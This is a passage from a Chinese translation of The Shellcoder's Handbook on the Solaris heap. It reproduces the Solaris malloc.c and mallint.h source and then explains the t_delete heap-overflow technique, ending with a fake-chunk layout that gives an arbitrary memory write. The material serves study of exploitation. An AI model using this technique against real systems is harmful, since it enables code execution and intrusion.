free()函数(_free_unlocked)实际上什么也没做,所有与释放内存块相关的操作都由一个名为realfree()的函数执行。free()函数只对被释放的块执行一些细微的合乎情理的检查,然后把它放到空闲列表里,稍后将对它进行处理。当空闲列表满了,或malloc/realloc被调用时,函数调用cleanfree()刷新空闲列表。

Solaris的堆实现执行大多数堆实现的典型操作。在必要时,通过sbrk系统调用增加堆空间,在可能时,会把相邻的空闲块合并在一起。

10.6.2 堆的树状结构

对于破解堆溢出来说,没有必要理解Solaris 堆的树状结构;然而,如果除了最简单的方法外,你还想研究其它的方法,最好能掌握树状结构。在普通的Solaris libc里,堆实现的全部源码如下。第一个源码是malloc.c;第二个是mallint.h。

/* Copyright (c) 1988 AT&T */

/* All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */

/* The copyright notice above does not evidence any */

/* actual or intended publication of such source code. */

/*

* Copyright (c) 1996, by Sun Microsystems, Inc.

* All rights reserved.

*/

#pragma ident "@(#)malloc.c 1.18 98/07/21 SMI" /* SVr4.0 1.30 */

/*LINTLIBRARY*/

/*

* Memory management: malloc(), realloc(), free().

*

* The following #-parameters may be redefined:

* SEGMENTED: if defined, memory requests are assumed to be

欢迎访问,翻译@。

204

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

* non-contiguous across calls of GETCORE's.

* GETCORE: a function to get more core memory. If not SEGMENTED,

* GETCORE(0) is assumed to return the next available

* address. Default is 'sbrk'.

* ERRCORE: the error code as returned by GETCORE.

* Default is (char *)(-1).

* CORESIZE: a desired unit (measured in bytes) to be used

* with GETCORE. Default is (1024*ALIGN).

*

* This algorithm is based on a best fit strategy with lists of

* free elts maintained in a self-adjusting binary tree. Each list

* contains all elts of the same size. The tree is ordered by size.

* For results on self-adjusting trees, see the paper:

* Self-Adjusting Binary Trees,

* DD Sleator & RE Tarjan, JACM 1985.

*

* The header of a block contains the size of the data part in bytes.

* Since the size of a block is 0%4, the low two bits of the header

* are free and used as follows:

*

* BIT0: 1 for busy (block is in use), 0 for free.

* BIT1: if the block is busy, this bit is 1 if the

* preceding block in contiguous memory is free.

* Otherwise, it is always 0.

*/

#include "synonyms.h"

#include

#include

#include

#include

#include

#include "mallint.h"

static TREE *Root, /* root of the free tree */

*Bottom, /* the last free chunk in the arena */

*_morecore(size_t); /* function to get more core */

static char *Baddr; /* current high address of the arena */

static char *Lfree; /* last freed block with data intact */

static void t_delete(TREE *);

static void t_splay(TREE *);

static void realfree(void *);

欢迎访问,翻译@。

205

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

static void cleanfree(void *);

static void *_malloc_unlocked(size_t);

#define FREESIZE (1<<5) /* size for preserving free blocks until next

malloc */

#define FREEMASK FREESIZE-1

static void *flist[FREESIZE]; /* list of blocks to be freed on next malloc

*/

static int freeidx; /* index of free blocks in flist % FREESIZE */

/*

* Allocation of small blocks

*/

static TREE *List[MINSIZE/WORDSIZE-1]; /* lists of small blocks */

static void *

_smalloc(size_t size)

{

TREE *tp;

size_t i;

ASSERT(size % WORDSIZE == 0);

/* want to return a unique pointer on malloc(0) */

if (size == 0)

size = WORDSIZE;

/* list to use */

i = size / WORDSIZE - 1;

if (List[i] == NULL) {

TREE *np;

int n;

/* number of blocks to get at one time */

#define NPS (WORDSIZE*8)

ASSERT((size + WORDSIZE) * NPS >= MINSIZE);

/* get NPS of these block types */

if ((List[i] = _malloc_unlocked((size + WORDSIZE) * NPS)) == 0)

return (0);

/* make them into a link list */

for (n = 0, np = List[i]; n < NPS; ++n) {

tp = np;

欢迎访问,翻译@。

206

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

SIZE(tp) = size;

np = NEXT(tp);

AFTER(tp) = np;

}

AFTER(tp) = NULL;

}

/* allocate from the head of the queue */

tp = List[i];

List[i] = AFTER(tp);

SETBIT0(SIZE(tp));

return (DATA(tp));

}

void *

malloc(size_t size)

{

void *ret;

(void) _mutex_lock(&__malloc_lock);

ret = _malloc_unlocked(size);

(void) _mutex_unlock(&__malloc_lock);

return (ret);

}

static void *

_malloc_unlocked(size_t size)

{

size_t n;

TREE *tp, *sp;

size_t o_bit1;

COUNT(nmalloc);

ASSERT(WORDSIZE == ALIGN);

/* make sure that size is 0 mod ALIGN */

ROUND(size);

/* see if the last free block can be used */

if (Lfree) {

sp = BLOCK(Lfree);

n = SIZE(sp);

CLRBITS01(n);

if (n == size) {

/*

欢迎访问,翻译@。

207

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

* exact match, use it as is

*/

freeidx = (freeidx + FREESIZE - 1) &

FREEMASK; /* 1 back */

flist[freeidx] = Lfree = NULL;

return (DATA(sp));

} else if (size >= MINSIZE && n > size) {

/*

* got a big enough piece

*/

freeidx = (freeidx + FREESIZE - 1) &

FREEMASK; /* 1 back */

flist[freeidx] = Lfree = NULL;

o_bit1 = SIZE(sp) & BIT1;

SIZE(sp) = n;

goto leftover;

}

}

o_bit1 = 0;

/* perform free's of space since last malloc */

cleanfree(NULL);

/* small blocks */

if (size < MINSIZE)

return (_smalloc(size));

/* search for an elt of the right size */

sp = NULL;

n = 0;

if (Root) {

tp = Root;

while (1) {

/* branch left */

if (SIZE(tp) >= size) {

if (n == 0 || n >= SIZE(tp)) {

sp = tp;

n = SIZE(tp);

}

if (LEFT(tp))

tp = LEFT(tp);

else

break;

} else { /* branch right */

欢迎访问,翻译@。

208

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

if (RIGHT(tp))

tp = RIGHT(tp);

else

break;

}

}

if (sp) {

t_delete(sp);

} else if (tp != Root) {

/* make the searched-to element the root */

t_splay(tp);

Root = tp;

}

}

/* if found none fitted in the tree */

if (!sp) {

if (Bottom && size <= SIZE(Bottom)) {

sp = Bottom;

CLRBITS01(SIZE(sp));

} else if ((sp = _morecore(size)) == NULL) /* no more memory */

return (NULL);

}

/* tell the forward neighbor that we're busy */

CLRBIT1(SIZE(NEXT(sp)));

ASSERT(ISBIT0(SIZE(NEXT(sp))));

leftover:

/* if the leftover is enough for a new free piece */

if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {

n -= WORDSIZE;

SIZE(sp) = size;

tp = NEXT(sp);

SIZE(tp) = n|BIT0;

realfree(DATA(tp));

} else if (BOTTOM(sp))

Bottom = NULL;

/* return the allocated space */

SIZE(sp) |= BIT0 | o_bit1;

return (DATA(sp));

欢迎访问,翻译@。

209

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

}

/*

* realloc().

*

* If the block size is increasing, we try forward merging first.

* This is not best-fit but it avoids some data recopying.

*/

void *

realloc(void *old, size_t size)

{

TREE *tp, *np;

size_t ts;

char *new;

COUNT(nrealloc);

/* pointer to the block */

(void) _mutex_lock(&__malloc_lock);

if (old == NULL) {

new = _malloc_unlocked(size);

(void) _mutex_unlock(&__malloc_lock);

return (new);

}

/* perform free's of space since last malloc */

cleanfree(old);

/* make sure that size is 0 mod ALIGN */

ROUND(size);

tp = BLOCK(old);

ts = SIZE(tp);

/* if the block was freed, data has been destroyed. */

if (!ISBIT0(ts)) {

(void) _mutex_unlock(&__malloc_lock);

return (NULL);

}

/* nothing to do */

CLRBITS01(SIZE(tp));

if (size == SIZE(tp)) {

欢迎访问,翻译@。

210

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

SIZE(tp) = ts;

(void) _mutex_unlock(&__malloc_lock);

return (old);

}

/* special cases involving small blocks */

if (size < MINSIZE || SIZE(tp) < MINSIZE)

goto call_malloc;

/* block is increasing in size, try merging the next block */

if (size > SIZE(tp)) {

np = NEXT(tp);

if (!ISBIT0(SIZE(np))) {

ASSERT(SIZE(np) >= MINSIZE);

ASSERT(!ISBIT1(SIZE(np)));

SIZE(tp) += SIZE(np) + WORDSIZE;

if (np != Bottom)

t_delete(np);

else

Bottom = NULL;

CLRBIT1(SIZE(NEXT(np)));

}

#ifndef SEGMENTED

/* not enough & at TRUE end of memory, try extending core */

if (size > SIZE(tp) && BOTTOM(tp) && GETCORE(0) == Baddr) {

Bottom = tp;

if ((tp = _morecore(size)) == NULL) {

tp = Bottom;

Bottom = NULL;

}

}

#endif

}

/* got enough space to use */

if (size <= SIZE(tp)) {

size_t n;

chop_big:

if ((n = (SIZE(tp) - size)) >= MINSIZE + WORDSIZE) {

n -= WORDSIZE;

SIZE(tp) = size;

np = NEXT(tp);

欢迎访问,翻译@。

211

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

SIZE(np) = n|BIT0;

realfree(DATA(np));

} else if (BOTTOM(tp))

Bottom = NULL;

/* the previous block may be free */

SETOLD01(SIZE(tp), ts);

(void) _mutex_unlock(&__malloc_lock);

return (old);

}

/* call malloc to get a new block */

call_malloc:

SETOLD01(SIZE(tp), ts);

if ((new = _malloc_unlocked(size)) != NULL) {

CLRBITS01(ts);

if (ts > size)

ts = size;

MEMCOPY(new, old, ts);

_free_unlocked(old);

(void) _mutex_unlock(&__malloc_lock);

return (new);

}

/*

* Attempt special case recovery allocations since malloc() failed:

*

* 1. size <= SIZE(tp) < MINSIZE

* Simply return the existing block

* 2. SIZE(tp) < size < MINSIZE

* malloc() may have failed to allocate the chunk of

* small blocks. Try asking for MINSIZE bytes.

* 3. size < MINSIZE <= SIZE(tp)

* malloc() may have failed as with 2. Change to

* MINSIZE allocation which is taken from the beginning

* of the current block.

* 4. MINSIZE <= SIZE(tp) < size

* If the previous block is free and the combination of

* these two blocks has at least size bytes, then merge

* the two blocks copying the existing contents backwards.

*/

CLRBITS01(SIZE(tp));

if (SIZE(tp) < MINSIZE) {

if (size < SIZE(tp)) { /* case 1. */

欢迎访问,翻译@。

212

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

SETOLD01(SIZE(tp), ts);

(void) _mutex_unlock(&__malloc_lock);

return (old);

} else if (size < MINSIZE) { /* case 2. */

size = MINSIZE;

goto call_malloc;

}

} else if (size < MINSIZE) { /* case 3. */

size = MINSIZE;

goto chop_big;

} else if (ISBIT1(ts) &&

(SIZE(np = LAST(tp)) + SIZE(tp) + WORDSIZE) >= size) {

ASSERT(!ISBIT0(SIZE(np)));

t_delete(np);

SIZE(np) += SIZE(tp) + WORDSIZE;

/*

* Since the copy may overlap, use memmove() if available.

* Otherwise, copy by hand.

*/

(void) memmove(DATA(np), old, SIZE(tp));

old = DATA(np);

tp = np;

CLRBIT1(ts);

goto chop_big;

}

SETOLD01(SIZE(tp), ts);

(void) _mutex_unlock(&__malloc_lock);

return (NULL);

}

/*

* realfree().

*

* Coalescing of adjacent free blocks is done first.

* Then, the new free block is leaf-inserted into the free tree

* without splaying. This strategy does not guarantee the amortized

* O(nlogn) behavior for the insert/delete/find set of operations

* on the tree. In practice, however, free is much more infrequent

* than malloc/realloc and the tree searches performed by these

* functions adequately keep the tree in balance.

*/

static void

realfree(void *old)

欢迎访问,翻译@。

213

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

{

TREE *tp, *sp, *np;

size_t ts, size;

COUNT(nfree);

/* pointer to the block */

tp = BLOCK(old);

ts = SIZE(tp);

if (!ISBIT0(ts))

return;

CLRBITS01(SIZE(tp));

/* small block, put it in the right linked list */

if (SIZE(tp) < MINSIZE) {

ASSERT(SIZE(tp) / WORDSIZE >= 1);

ts = SIZE(tp) / WORDSIZE - 1;

AFTER(tp) = List[ts];

List[ts] = tp;

return;

}

/* see if coalescing with next block is warranted */

np = NEXT(tp);

if (!ISBIT0(SIZE(np))) {

if (np != Bottom)

t_delete(np);

SIZE(tp) += SIZE(np) + WORDSIZE;

}

/* the same with the preceding block */

if (ISBIT1(ts)) {

np = LAST(tp);

ASSERT(!ISBIT0(SIZE(np)));

ASSERT(np != Bottom);

t_delete(np);

SIZE(np) += SIZE(tp) + WORDSIZE;

tp = np;

}

/* initialize tree info */

PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL;

/* the last word of the block contains self's address */

欢迎访问,翻译@。

214

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

*(SELFP(tp)) = tp;

/* set bottom block, or insert in the free tree */

if (BOTTOM(tp))

Bottom = tp;

else {

/* search for the place to insert */

if (Root) {

size = SIZE(tp);

np = Root;

while (1) {

if (SIZE(np) > size) {

if (LEFT(np))

np = LEFT(np);

else {

LEFT(np) = tp;

PARENT(tp) = np;

break;

}

} else if (SIZE(np) < size) {

if (RIGHT(np))

np = RIGHT(np);

else {

RIGHT(np) = tp;

PARENT(tp) = np;

break;

}

} else {

if ((sp = PARENT(np)) != NULL) {

if (np == LEFT(sp))

LEFT(sp) = tp;

else

RIGHT(sp) = tp;

PARENT(tp) = sp;

} else

Root = tp;

/* insert to head of list */

if ((sp = LEFT(np)) != NULL)

PARENT(sp) = tp;

LEFT(tp) = sp;

if ((sp = RIGHT(np)) != NULL)

PARENT(sp) = tp;

欢迎访问,翻译@。

215

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

RIGHT(tp) = sp;

/* doubly link list */

LINKFOR(tp) = np;

LINKBAK(np) = tp;

SETNOTREE(np);

break;

}

}

} else

Root = tp;

}

/* tell next block that this one is free */

SETBIT1(SIZE(NEXT(tp)));

ASSERT(ISBIT0(SIZE(NEXT(tp))));

}

/*

* Get more core. Gaps in memory are noted as busy blocks.

*/

static TREE *

_morecore(size_t size)

{

TREE *tp;

size_t n, offset;

char *addr;

size_t nsize;

/* compute new amount of memory to get */

tp = Bottom;

n = size + 2 * WORDSIZE;

addr = GETCORE(0);

if (addr == ERRCORE)

return (NULL);

/* need to pad size out so that addr is aligned */

if ((((size_t)addr) % ALIGN) != 0)

offset = ALIGN - (size_t)addr % ALIGN;

else

offset = 0;

欢迎访问,翻译@。

216

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

#ifndef SEGMENTED

/* if not segmented memory, what we need may be smaller */

if (addr == Baddr) {

n -= WORDSIZE;

if (tp != NULL)

n -= SIZE(tp);

}

#endif

/* get a multiple of CORESIZE */

n = ((n - 1) / CORESIZE + 1) * CORESIZE;

nsize = n + offset;

if (nsize == ULONG_MAX)

return (NULL);

if (nsize <= LONG_MAX) {

if (GETCORE(nsize) == ERRCORE)

return (NULL);

} else {

intptr_t delta;

/*

* the value required is too big for GETCORE() to deal with

* in one go, so use GETCORE() at most 2 times instead.

*/

delta = LONG_MAX;

while (delta > 0) {

if (GETCORE(delta) == ERRCORE) {

if (addr != GETCORE(0))

(void) GETCORE(-LONG_MAX);

return (NULL);

}

nsize -= LONG_MAX;

delta = nsize;

}

}

/* contiguous memory */

if (addr == Baddr) {

ASSERT(offset == 0);

if (tp) {

addr = (char *)tp;

n += SIZE(tp) + 2 * WORDSIZE;

欢迎访问,翻译@。

217

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

} else {

addr = Baddr - WORDSIZE;

n += WORDSIZE;

}

} else

addr += offset;

/* new bottom address */

Baddr = addr + n;

/* new bottom block */

tp = (TREE *)addr;

SIZE(tp) = n - 2 * WORDSIZE;

ASSERT((SIZE(tp) % ALIGN) == 0);

/* reserved the last word to head any noncontiguous memory */

SETBIT0(SIZE(NEXT(tp)));

/* non-contiguous memory, free old bottom block */

if (Bottom && Bottom != tp) {

SETBIT0(SIZE(Bottom));

realfree(DATA(Bottom));

}

return (tp);

}

/*

* Tree rotation functions (BU: bottom-up, TD: top-down)

*/

#define LEFT1(x, y)

if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;

if ((PARENT(y) = PARENT(x)) != NULL)

if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;

else RIGHT(PARENT(y)) = y;

LEFT(y) = x; PARENT(x) = y

#define RIGHT1(x, y)

if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;

if ((PARENT(y) = PARENT(x)) != NULL)

if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;

else RIGHT(PARENT(y)) = y;

欢迎访问,翻译@。

218

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

RIGHT(y) = x; PARENT(x) = y

#define BULEFT2(x, y, z)

if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;

if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;

if ((PARENT(z) = PARENT(x)) != NULL)

if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;

else RIGHT(PARENT(z)) = z;

LEFT(z) = y; PARENT(y) = z; LEFT(y) = x; PARENT(x) = y

#define BURIGHT2(x, y, z)

if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;

if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;

if ((PARENT(z) = PARENT(x)) != NULL)

if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;

else RIGHT(PARENT(z)) = z;

RIGHT(z) = y; PARENT(y) = z; RIGHT(y) = x; PARENT(x) = y

#define TDLEFT2(x, y, z)

if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;

if ((PARENT(z) = PARENT(x)) != NULL)

if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;

else RIGHT(PARENT(z)) = z;

PARENT(x) = z; LEFT(z) = x;

#define TDRIGHT2(x, y, z)

if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;

if ((PARENT(z) = PARENT(x)) != NULL)

if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;

else RIGHT(PARENT(z)) = z;

PARENT(x) = z; RIGHT(z) = x;

/*

* Delete a tree element

*/

static void

t_delete(TREE *op)

{

TREE *tp, *sp, *gp;

/* if this is a non-tree node */

if (ISNOTREE(op)) {

tp = LINKBAK(op);

if ((sp = LINKFOR(op)) != NULL)

欢迎访问,翻译@。

219

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

LINKBAK(sp) = tp;

LINKFOR(tp) = sp;

return;

}

/* make op the root of the tree */

if (PARENT(op))

t_splay(op);

/* if this is the start of a list */

if ((tp = LINKFOR(op)) != NULL) {

PARENT(tp) = NULL;

if ((sp = LEFT(op)) != NULL)

PARENT(sp) = tp;

LEFT(tp) = sp;

if ((sp = RIGHT(op)) != NULL)

PARENT(sp) = tp;

RIGHT(tp) = sp;

Root = tp;

return;

}

/* if op has a non-null left subtree */

if ((tp = LEFT(op)) != NULL) {

PARENT(tp) = NULL;

if (RIGHT(op)) {

/* make the right-end of the left subtree its root */

while ((sp = RIGHT(tp)) != NULL) {

if ((gp = RIGHT(sp)) != NULL) {

TDLEFT2(tp, sp, gp);

tp = gp;

} else {

LEFT1(tp, sp);

tp = sp;

}

}

/* hook the right subtree of op to the above elt */

RIGHT(tp) = RIGHT(op);

PARENT(RIGHT(tp)) = tp;

}

欢迎访问,翻译@。

220

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

} else if ((tp = RIGHT(op)) != NULL) /* no left subtree */

PARENT(tp) = NULL;

Root = tp;

}

/*

* Bottom up splaying (simple version).

* The basic idea is to roughly cut in half the

* path from Root to tp and make tp the new root.

*/

static void

t_splay(TREE *tp)

{

TREE *pp, *gp;

/* iterate until tp is the root */

while ((pp = PARENT(tp)) != NULL) {

/* grandparent of tp */

gp = PARENT(pp);

/* x is a left child */

if (LEFT(pp) == tp) {

if (gp && LEFT(gp) == pp) {

BURIGHT2(gp, pp, tp);

} else {

RIGHT1(pp, tp);

}

} else {

ASSERT(RIGHT(pp) == tp);

if (gp && RIGHT(gp) == pp) {

BULEFT2(gp, pp, tp);

} else {

LEFT1(pp, tp);

}

}

}

}

/*

* free().

* Performs a delayed free of the block pointed to

* by old. The pointer to old is saved on a list, flist,

欢迎访问,翻译@。

221

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

* until the next malloc or realloc. At that time, all the

* blocks pointed to in flist are actually freed via

* realfree(). This allows the contents of free blocks to

* remain undisturbed until the next malloc or realloc.

*/

void

free(void *old)

{

(void) _mutex_lock(&__malloc_lock);

_free_unlocked(old);

(void) _mutex_unlock(&__malloc_lock);

}

void

_free_unlocked(void *old)

{

int i;

if (old == NULL)

return;

/*

* Make sure the same data block is not freed twice.

* 3 cases are checked. It returns immediately if either

* one of the conditions is true.

* 1. Last freed.

* 2. Not in use or freed already.

* 3. In the free list.

*/

if (old == Lfree)

return;

if (!ISBIT0(SIZE(BLOCK(old))))

return;

for (i = 0; i < freeidx; i++)

if (old == flist[i])

return;

if (flist[freeidx] != NULL)

realfree(flist[freeidx]);

flist[freeidx] = Lfree = old;

freeidx = (freeidx + 1) & FREEMASK; /* one forward */

}

欢迎访问,翻译@。

222

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

/*

* cleanfree() frees all the blocks pointed to be flist.

*

* realloc() should work if it is called with a pointer

* to a block that was freed since the last call to malloc() or

* realloc(). If cleanfree() is called from realloc(), ptr

* is set to the old block and that block should not be

* freed since it is actually being reallocated.

*/

static void

cleanfree(void *ptr)

{

char **flp;

flp = (char **)&(flist[freeidx]);

for (;;) {

if (flp == (char **)&(flist[0]))

flp = (char **)&(flist[FREESIZE]);

if (*--flp == NULL)

break;

if (*flp != ptr)

realfree(*flp);

*flp = NULL;

}

freeidx = 0;

Lfree = NULL;

}

/* Copyright (c) 1988 AT&T */

/* All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */

/* The copyright notice above does not evidence any */

/* actual or intended publication of such source code. */

/*

* Copyright (c) 1996-1997 by Sun Microsystems, Inc.

* All rights reserved.

*/

#pragma ident "@(#)mallint.h 1.11 97/12/02 SMI" /* SVr4.0

1.2 */

欢迎访问,翻译@。

223

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

#include

#include

#include

#include

#include

#include

/* debugging macros */

#ifdef DEBUG

#define ASSERT(p) ((void) ((p) || (abort(), 0)))

#define COUNT(n) ((void) n++)

static int nmalloc, nrealloc, nfree;

#else

#define ASSERT(p) ((void)0)

#define COUNT(n) ((void)0)

#endif /* DEBUG */

/* function to copy data from one area to another */

#define MEMCOPY(to, fr, n) ((void) memcpy(to, fr, n))

/* for conveniences */

#ifndef NULL

#define NULL (0)

#endif

#define reg register

#define WORDSIZE (sizeof (WORD))

#define MINSIZE (sizeof (TREE) - sizeof (WORD))

#define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE))

#ifdef DEBUG32

/*

* The following definitions ease debugging

* on a machine in which sizeof(pointer) == sizeof(int) == 4.

* These definitions are not portable.

*

* Alignment (ALIGN) changed to 8 for SPARC ldd/std.

*/

#define ALIGN 8

typedef int WORD;

typedef struct _t_ {

size_t t_s;

struct _t_ *t_p;

struct _t_ *t_l;

欢迎访问,翻译@。

224

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

struct _t_ *t_r;

struct _t_ *t_n;

struct _t_ *t_d;

} TREE;

#define SIZE(b) ((b)->t_s)

#define AFTER(b) ((b)->t_p)

#define PARENT(b) ((b)->t_p)

#define LEFT(b) ((b)->t_l)

#define RIGHT(b) ((b)->t_r)

#define LINKFOR(b) ((b)->t_n)

#define LINKBAK(b) ((b)->t_p)

#else /* !DEBUG32 */

/*

* All of our allocations will be aligned on the least multiple of 4,

* at least, so the two low order bits are guaranteed to be available.

*/

#ifdef _LP64

#define ALIGN 16

#else

#define ALIGN 8

#endif

/* the proto-word; size must be ALIGN bytes */

typedef union _w_ {

size_t w_i; /* an unsigned int */

struct _t_ *w_p; /* a pointer */

char w_a[ALIGN]; /* to force size */

} WORD;

/* structure of a node in the free tree */

typedef struct _t_ {

WORD t_s; /* size of this element */

WORD t_p; /* parent node */

WORD t_l; /* left child */

WORD t_r; /* right child */

WORD t_n; /* next in link list */

WORD t_d; /* dummy to reserve space for self-pointer */

} TREE;

/* usable # of bytes in the block */

#define SIZE(b) (((b)->t_s).w_i)

/* free tree pointers */

欢迎访问,翻译@。

225

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

#define PARENT(b) (((b)->t_p).w_p)

#define LEFT(b) (((b)->t_l).w_p)

#define RIGHT(b) (((b)->t_r).w_p)

/* forward link in lists of small blocks */

#define AFTER(b) (((b)->t_p).w_p)

/* forward and backward links for lists in the tree */

#define LINKFOR(b) (((b)->t_n).w_p)

#define LINKBAK(b) (((b)->t_p).w_p)

#endif /* DEBUG32 */

/* set/test indicator if a block is in the tree or in a list */

#define SETNOTREE(b) (LEFT(b) = (TREE *)(-1))

#define ISNOTREE(b) (LEFT(b) == (TREE *)(-1))

/* functions to get information on a block */

#define DATA(b) (((char *)(b)) + WORDSIZE)

#define BLOCK(d) ((TREE *)(((char *)(d)) - WORDSIZE))

#define SELFP(b) ((TREE **)(((char *)(b)) + SIZE(b)))

#define LAST(b) (*((TREE **)(((char *)(b)) - WORDSIZE)))

#define NEXT(b) ((TREE *)(((char *)(b)) + SIZE(b) + WORDSIZE))

#define BOTTOM(b) ((DATA(b) + SIZE(b) + WORDSIZE) == Baddr)

/* functions to set and test the lowest two bits of a word */

#define BIT0 (01) /* ...001 */

#define BIT1 (02) /* ...010 */

#define BITS01 (03) /* ...011 */

#define ISBIT0(w) ((w) & BIT0) /* Is busy? */

#define ISBIT1(w) ((w) & BIT1) /* Is the preceding free? */

#define SETBIT0(w) ((w) |= BIT0) /* Block is busy */

#define SETBIT1(w) ((w) |= BIT1) /* The preceding is free */

#define CLRBIT0(w) ((w) &= ~BIT0) /* Clean bit0 */

#define CLRBIT1(w) ((w) &= ~BIT1) /* Clean bit1 */

#define SETBITS01(w) ((w) |= BITS01) /* Set bits 0 & 1 */

#define CLRBITS01(w) ((w) &= ~BITS01) /* Clean bits 0 & 1 */

#define SETOLD01(n, o) ((n) |= (BITS01 & (o)))

/* system call to get more core */

#define GETCORE sbrk

#define ERRCORE ((void *)(-1))

#define CORESIZE (1024*ALIGN)

欢迎访问,翻译@。

226

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

extern void *GETCORE(size_t);

extern void _free_unlocked(void *);

#ifdef _REENTRANT

extern mutex_t __malloc_lock;

#endif /* _REENTRANT */

TREE结构的基本元素被规定为WORD,有如下定义:

/* the proto-word; size must be ALIGN bytes */

typedef union _w_ {

size_t w_i; /* an unsigned int */

struct _t_ *w_p; /* a pointer */

char w_a[ALIGN]; /* to force size */

} WORD;

对于32位的libc版本,ALIGN被定义为8,从而使联合总的大小为8字节。

空闲树里的节点结构被定义为:

typedef struct _t_ {

WORD t_s; /* size of this element */

WORD t_p; /* parent node */

WORD t_l; /* left child */

WORD t_r; /* right child */

WORD t_n; /* next in link list */

WORD t_d; /* dummy to reserve space for self-pointer */

} TREE;

这个结构由6个WORD组成,共48个字节。对任何实际使用中的堆块(包括基本的头部)来说,这是最小的。

10.7 基本的破解方法(t_delete)

Solaris上堆溢出的传统破解方法是基于块合并的。通过改写当前块的外部边界,导致内存中下一个块的头部被破坏。当堆管理例程处理被破坏的块时,将改写内存,最终导致执行Shellcode。

溢出导致下一个块的大小被改变。如果用合适的负数改写它,将在溢出字符串的较后位置发现下一个块。这是有用的,因为负数的块大小不包含NULL字节,可以通过字符串库函数进行复制。可以在溢出字符串较后的位置构造TREE结构。这将使伪造块与被破坏的块一起被整理。

对伪造块最简单的构造是促成函数t_delete()被调用。Phrack #57里名为“Once Upon a

free()”的文章(2001年8月11日),第一次提到了这个方法。下面的代码段摘自malloc.c欢迎访问,翻译@。

227

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

和mallint.h:

在realfree()里:

/* see if coalescing with next block is warranted */

np = NEXT(tp);

if (!ISBIT0(SIZE(np))) {

if (np != Bottom)

t_delete(np);

函数t_delete():

/*

* Delete a tree element

*/

static void

t_delete(TREE *op)

{

TREE *tp, *sp, *gp;

/* if this is a non-tree node */

if (ISNOTREE(op)) {

tp = LINKBAK(op);

if ((sp = LINKFOR(op)) != NULL)

LINKBAK(sp) = tp;

LINKFOR(tp) = sp;

return;

}

有关的宏定义如下:

#define SIZE(b) (((b)->t_s).w_i)

#define PARENT(b) (((b)->t_p).w_p)

#define LEFT(b) (((b)->t_l).w_p)

#define RIGHT(b) (((b)->t_r).w_p)

#define LINKFOR(b) (((b)->t_n).w_p)

#define LINKBAK(b) (((b)->t_p).w_p)

#define ISNOTREE(b) (LEFT(b) == (TREE *)(-1))

正如在代码里看到的,TREE op结构被传递给t_delete()。结构op是伪造块通过溢出构造的和指向的。如果ISNOTREE()为真,将从伪造的TREE结构op获得两个指针tp和sp。这些被攻击者完全控制的指针是TREE结构指针。每个字段被设为指向其它TREE结构的指针。

LINKFOR宏引用TREE结构里的t_n字段(位于结构偏移32字节处),当LINKBAK宏引用t_p字段(位于结构偏移8字节处)。如果TREE结构的t_l字段(位于结构偏移16欢迎访问,翻译@。

228

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

字节处)是-1,ISNOTREE为真。

上面的描述可能有些乱,我们把它总结一下:

如果TREE op的t_l(位于结构偏移16字节处)字段等于-1,继续下一步。

TREE通过LINKBAK宏初始化指针tp,将从op接受t_p字段(位于结构偏移8字节处)。

TREE通过LINKFOR宏初始化指针sp,将从op接受t_n字段(位于结构偏移32字节处)。

宏LINKBAK把sp的t_p字段(位于结构偏移8字节处)设为指针tp。

宏LINKBAK把tp的t_n字段(位于结构偏移32字节处)设为指针sp。

在整个过程里面,步骤4和5是最有趣的,可能导致任意值被写入任意地址,互写情形是关于它的最好描述。这个操作类似于在双向链表中删去一个条目。能完成这个的TREE结构构造如表10.9.所示。

FF FF FF F8 AA AA AA AA

FF FF FF FF AA AA AA AA

SP SP SP SP AA AA AA AA

TP TP TP TP AA AA AA AA

AA AA AA AA AA AA AA AA

